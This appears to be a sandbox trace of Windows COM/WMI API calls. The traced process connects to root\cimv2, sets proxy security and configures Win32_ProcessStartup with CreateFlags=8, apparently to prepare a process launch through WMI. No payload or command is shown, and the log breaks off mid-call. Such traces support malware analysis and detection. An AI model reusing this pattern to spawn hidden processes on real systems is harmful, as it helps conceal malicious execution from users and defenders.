WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d1d40) returned 0x0 [0110.716] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0110.716] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0110.716] WbemLocator:IUnknown:AddRef (This=0x1b4d1d40) returned 0x3 [0110.716] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0110.716] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0110.716] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0110.716] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0110.719] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0110.719] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0110.719] WbemLocator:IUnknown:Release (This=0x1b4d1d40) returned 0x2 [0110.719] WbemLocator:IUnknown:Release (This=0x1b4d1d40) returned 0x1 [0110.719] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0110.719] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0110.719] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d1d40, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d1d40) returned 0x0 [0110.719] WbemLocator:IUnknown:AddRef (This=0x1b4d1d40) returned 0x3 [0110.719] WbemLocator:IUnknown:Release (This=0x1b4d1d40) returned 0x2 [0110.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0110.719] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0110.719] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.719] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d16a0) returned 0x0 [0110.719] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d16a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4b45e0) returned 0x0 [0111.380] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b45e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b4ac9f0) returned 0x0 [0111.380] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4ac9f0, pProxy=0x1b4b45e0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0111.381] WbemLocator:IUnknown:Release (This=0x1b4ac9f0) returned 0x1 [0111.381] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b45e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b4aca38) returned 0x0 [0111.381] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b45e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b4ac9f0) returned 0x0 [0111.381] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4ac9f0, pProxy=0x1b4b45e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0111.381] WbemLocator:IUnknown:Release (This=0x1b4ac9f0) returned 0x2 [0111.381] WbemLocator:IUnknown:Release (This=0x1b4aca38) returned 0x1 [0111.381] CoTaskMemFree (pv=0x1b461a30) [0111.381] WbemLocator:IUnknown:Release (This=0x1b4d16a0) returned 0x0 [0111.381] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b45e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b4aca38) returned 0x0 [0111.381] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0111.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0111.422] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b45e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0111.428] WbemLocator:IUnknown:AddRef (This=0x1b4aca38) returned 0x3 [0111.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0111.428] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0111.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b4ac918) returned 0x0 [0111.432] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4ac918, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.432] WbemLocator:IUnknown:Release (This=0x1b4ac918) returned 0x3 [0111.432] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0111.432] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0111.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b4aca00) returned 0x0 [0111.432] WbemLocator:IRpcOptions:Query (in: This=0x1b4aca00, pPrx=0x1b4aca38, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0111.432] WbemLocator:IUnknown:Release (This=0x1b4aca00) returned 0x3 [0111.432] WbemLocator:IUnknown:Release (This=0x1b4aca38) returned 0x2 [0111.432] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0111.432] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0111.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4b45e0) returned 0x0 [0111.432] WbemLocator:IUnknown:AddRef (This=0x1b4b45e0) returned 0x4 [0111.432] WbemLocator:IUnknown:Release (This=0x1b4b45e0) returned 0x3 [0111.432] WbemLocator:IUnknown:Release (This=0x1b4b45e0) returned 0x2 [0111.432] SysStringLen (param_1=0x0) returned 0x0 [0111.433] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0111.433] WbemLocator:IUnknown:AddRef (This=0x1b4aca38) returned 0x3 [0111.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4aca38, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b4aca38) returned 0x0 [0111.433] WbemLocator:IUnknown:Release (This=0x1b4aca38) returned 0x3 [0111.433] WbemLocator:IUnknown:Release (This=0x1b4aca38) returned 0x2 [0111.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0111.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0111.433] IWbemServices:GetObject (in: This=0x1b4b45e0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4cf3f0, ppCallResult=0x0) returned 0x0 [0111.472] IWbemClassObject:Get (in: This=0x1b4cf3f0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0111.472] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0111.472] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0111.472] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0111.472] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0111.472] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0111.472] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.473] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d1b60) returned 0x0 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1b60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0111.474] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1b60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af820) returned 0x0 [0111.474] WbemDefPath:IUnknown:Release (This=0x1b4d1b60) returned 0x0 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af820) returned 0x0 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0111.474] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0111.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d1a00) returned 0x0 [0111.475] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d1a00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0111.475] WbemDefPath:IUnknown:Release (This=0x1b4d1a00) returned 0x3 [0111.475] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0111.475] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0111.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0111.475] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0111.475] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0111.475] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0111.475] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0111.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4af820) returned 0x0 [0111.475] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0111.475] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0111.475] WbemDefPath:IWbemPath:SetText (This=0x1b4af820, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0111.475] IWbemClassObject:Get (in: This=0x1b4cf3f0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28950f0*=0, plFlavor=0x28950f4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28950f0*=19, plFlavor=0x28950f4*=0) returned 0x0 [0111.476] IWbemClassObject:Get (in: This=0x1b4cf3f0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28950f0*=19, plFlavor=0x28950f4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28950f0*=19, plFlavor=0x28950f4*=0) returned 0x0 [0111.476] IWbemClassObject:Put (This=0x1b4cf3f0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0111.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0111.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0111.476] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0111.476] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0111.476] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0111.476] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0111.476] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0111.476] IUnknown:Release (This=0x6124e8) returned 0x1 [0111.477] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4d17a0) returned 0x0 [0111.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d17a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0111.477] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d17a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4af5e0) returned 0x0 [0111.477] WbemDefPath:IUnknown:Release (This=0x1b4d17a0) returned 0x0 [0111.477] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4af5e0) returned 0x0 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0111.478] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0111.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), 